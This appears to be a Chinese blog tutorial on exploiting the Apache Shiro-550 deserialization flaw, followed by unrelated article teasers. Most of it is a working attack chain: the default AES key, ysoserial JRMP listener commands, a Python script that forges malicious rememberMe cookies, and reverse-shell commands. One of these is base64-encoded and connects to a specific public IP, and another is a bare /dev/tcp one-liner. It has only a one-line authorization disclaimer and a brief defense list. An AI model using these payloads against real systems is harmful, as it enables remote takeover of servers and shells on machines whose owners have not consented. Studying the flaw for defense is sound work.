news 2026/6/7 10:28:57

从Shiro的Cookie到反弹Shell:一次完整的Shiro-550漏洞复现与深度利用(含VPS配置与Payload生成)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从Shiro的Cookie到反弹Shell:一次完整的Shiro-550漏洞复现与深度利用(含VPS配置与Payload生成)

Java反序列化漏洞实战:从Shiro-550漏洞复现到深度利用

在安全研究领域,Java反序列化漏洞因其广泛影响面和潜在危害性一直备受关注。本文将带您从零开始,通过一个典型的Shiro-550漏洞案例,完整演示如何搭建实验环境、检测漏洞、构造利用链,最终实现远程代码执行。不同于简单的概念讲解,我们更注重实战操作中的细节处理,包括VPS配置、Payload生成技巧以及可能遇到的各种"坑"的解决方案。

1. 环境准备与漏洞原理

1.1 实验环境搭建

为了安全地进行漏洞复现,建议使用隔离的云服务器环境。以下是基于Docker的快速搭建方案:

# 拉取漏洞环境镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器(映射8080端口) docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

验证环境是否正常运行:

  • 访问http://your-server-ip:8080
  • 应看到Shiro的默认登录页面

提示:实际渗透测试中,请确保获得系统所有者授权,本文仅用于教育目的。

1.2 Shiro-550漏洞核心原理

Apache Shiro框架的RememberMe功能存在设计缺陷:

  1. 使用硬编码的AES加密密钥(默认kPH+bIxk5D2deZiIxcaaaA==
  2. 对RememberMe cookie值执行以下处理流程:
    • Base64解码
    • AES解密
    • 反序列化解密后的数据

漏洞利用链的关键节点:

环节技术点风险点
Cookie构造恶意序列化对象生成需要正确的AES密钥
网络传输Base64编码处理特殊字符转义问题
服务端处理Java原生反序列化可利用的gadget链

2. 漏洞检测与利用准备

2.1 指纹识别与密钥检测

识别Shiro框架的简单方法:

  • 在请求Cookie中添加rememberMe=1
  • 检查响应中是否包含Set-Cookie: rememberMe=deleteMe

使用自动化工具检测默认密钥:

git clone https://github.com/insightglacier/Shiro_exploit cd Shiro_exploit pip install pycryptodome python shiro_exploit.py -u http://target:8080

常见检测结果分析:

  • 有效密钥:工具会显示可用的默认密钥
  • 无漏洞:可能原因包括:
    • 密钥已修改
    • 版本已修复
    • 网络策略限制

2.2 攻击面准备

需要准备的两台服务器角色:

  1. 攻击机(VPS)

    • 公网IP地址
    • 开放两个端口:
      • 9999(接收反弹Shell)
      • 6666(JRMP监听)
  2. 靶机

    • 运行存在漏洞的Shiro应用
    • 能与攻击机建立网络连接

网络配置检查清单:

  • 安全组规则(放行相关端口)
  • 防火墙设置(临时关闭或添加规则)
  • 网络可达性测试(使用ping/telnet)

3. 利用链构造与Payload生成

3.1 ysoserial工具链使用

下载并编译ysoserial:

git clone https://github.com/frohoff/ysoserial cd ysoserial mvn package -DskipTests

常用gadget对比:

Gadget名称适用场景依赖条件
CommonsCollections大部分Java环境CC库存在
JRMPClient需要二次反序列化网络可达
JNDI高版本JDK受限JNDI注入点

3.2 分阶段Payload构造

阶段一:建立JRMP监听

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 \ 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuMTk2LjE3My4yNTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'

阶段二:生成RememberMe Cookie

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen( ['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print("rememberMe={0}".format(payload.decode()))

执行脚本生成最终Payload:

python2 exp.py your-vps-ip:6666

4. 漏洞利用与后渗透

4.1 完整攻击流程

  1. 在VPS上启动Netcat监听:

    nc -lvnp 9999
  2. 构造HTTP请求(使用Burp或cURL):

    GET / HTTP/1.1 Host: target:8080 Cookie: rememberMe=...生成的Payload...
  3. 观察网络连接状态:

    • 应先建立到6666端口的JRMP连接
    • 随后建立到9999端口的Shell连接

4.2 常见问题排查

问题1:Payload发送后无响应

  • 检查VPS防火墙设置
  • 验证靶机出站网络策略
  • 尝试简化Payload(如执行ping命令测试)

问题2:收到连接但立即断开

  • 检查命令中的重定向符号转义
  • 确认Base64编码正确性
  • 尝试不同gadget链

问题3:执行权限受限

  • 尝试使用其他命令注入方式:
    bash -i >& /dev/tcp/your-vps-ip/9999 0>&1

4.3 防御建议

对于企业防御方,建议采取以下措施:

  • 立即行动项

    • 升级Shiro到最新版本
    • 修改默认加密密钥
    • 禁用不必要的反序列化功能
  • 长期加固方案

    • 实施Java安全管理器策略
    • 部署RASP防护
    • 建立反序列化白名单机制

在漏洞研究过程中,我深刻体会到防御的复杂性——即使是一个简单的硬编码密钥问题,也可能导致整个应用沦陷。建议开发者在设计安全敏感功能时,始终遵循最小权限原则,并定期进行安全审计。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/7 10:25:47

GPT-4o可视化搭档:用自然语言生成可运行图表代码

1. 项目概述:这不是“调用API”,而是重构数据可视化的交互范式 “GPT-4o Python Charting Insanity: Prompting For Instant Data Visuals”——这个标题里没有一个词是虚的。**Insanity(疯狂)**不是修辞,是我在连续72…

作者头像 李华
网站建设 2026/6/7 10:23:36

数据科学家必修课:用描述性统计读懂数据真相

1. 项目概述:为什么数据科学家必须亲手“捏”透描述性统计你有没有遇到过这样的情况:模型训练完,AUC高达0.92,结果上线后业务方盯着报表问:“上个月用户平均下单金额是387元,这个月怎么突然跳到521元&#…

作者头像 李华
网站建设 2026/6/7 10:22:37

如何快速配置Windows虚拟游戏手柄:ViGEmBus完整指南

如何快速配置Windows虚拟游戏手柄:ViGEmBus完整指南 【免费下载链接】ViGEmBus Windows kernel-mode driver emulating well-known USB game controllers. 项目地址: https://gitcode.com/gh_mirrors/vi/ViGEmBus 你是否遇到过这样的烦恼?手中的S…

作者头像 李华
网站建设 2026/6/7 10:22:12

从CN3905规格书里挖宝藏:宽压输入、3.5A输出,这颗车规级DCDC怎么用到你的项目里?

CN3905实战指南:解锁车规级DCDC芯片的45V宽压设计奥秘当你的项目需要面对汽车电子的严苛环境——引擎启动时的电压骤降、电磁干扰密集的机舱空间、零下30度到85度的极端温差,一颗可靠的电源芯片就是系统稳定的第一道防线。CN3905作为专为汽车电子设计的异…

作者头像 李华
网站建设 2026/6/7 10:22:11

保姆级教程:用S32K3的eMIOS模块生成精准PWM波(MCAL配置避坑指南)

S32K3 eMIOS模块深度实战:从PWM配置到电机控制全解析1. 理解eMIOS架构与核心机制在嵌入式控制领域,精确的PWM信号生成能力直接决定了电机驱动、LED调光等应用的效果。NXP S32K3系列通过增强型模块化IO子系统(eMIOS)提供了比前代S32K1更强大的定时器功能&…

作者头像 李华